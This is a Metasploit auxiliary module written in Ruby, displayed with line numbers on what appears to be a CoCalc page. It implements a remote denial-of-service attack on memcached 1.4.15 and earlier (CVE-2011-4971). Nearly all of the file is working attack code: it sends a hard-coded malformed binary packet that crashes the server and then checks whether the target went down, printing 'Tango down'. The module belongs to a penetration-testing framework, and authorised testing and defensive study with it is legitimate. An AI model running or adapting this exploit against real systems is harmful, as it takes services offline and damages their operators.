CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Tcp
8
  include Msf::Auxiliary::Dos
9

10
  def initialize(info = {})
11
    super(update_info(info,
12
      'Name'          => 'Memcached Remote Denial of Service',
13
      'Description'   => %q{
14
        This module sends a specially-crafted packet to cause a
15
        segmentation fault in memcached v1.4.15 or earlier versions.
16
      },
17
      'References' =>
18
        [
19
          [ 'URL', 'https://code.google.com/archive/p/memcached/issues/192' ],
20
          [ 'CVE', '2011-4971' ],
21
          [ 'OSVDB', '92867' ]
22
        ],
23
      'Author'       => [ 'Gregory Man <man.gregory[at]gmail.com>' ],
24
      'License'      => MSF_LICENSE
25
    ))
26

27
    register_options([Opt::RPORT(11211),])
28
  end
29

30
  def is_alive?
31
    begin
32
      connect
33
      disconnect
34
    rescue Rex::ConnectionRefused
35
      return false
36
    end
37

38
    return true
39
  end
40

41
  def run
42
    connect
43
    pkt =  "\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00"
44
    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00"
45
    pkt << "\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
46
    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
47

48
    print_status("#{rhost}:#{rport} - Sending dos packet...")
49
    sock.put(pkt)
50
    disconnect
51

52
    print_status("#{rhost}:#{rport} - Checking host status...")
53
    select(nil, nil, nil, 1)
54

55
    if is_alive?
56
      print_error("#{rhost}:#{rport} - The DoS attempt did not work, host is still alive")
57
    else
58
      print_good("#{rhost}:#{rport} - Tango down")  # WWJS - What would th3j35t3r say?
59
    end
60
  end
61
end
62

63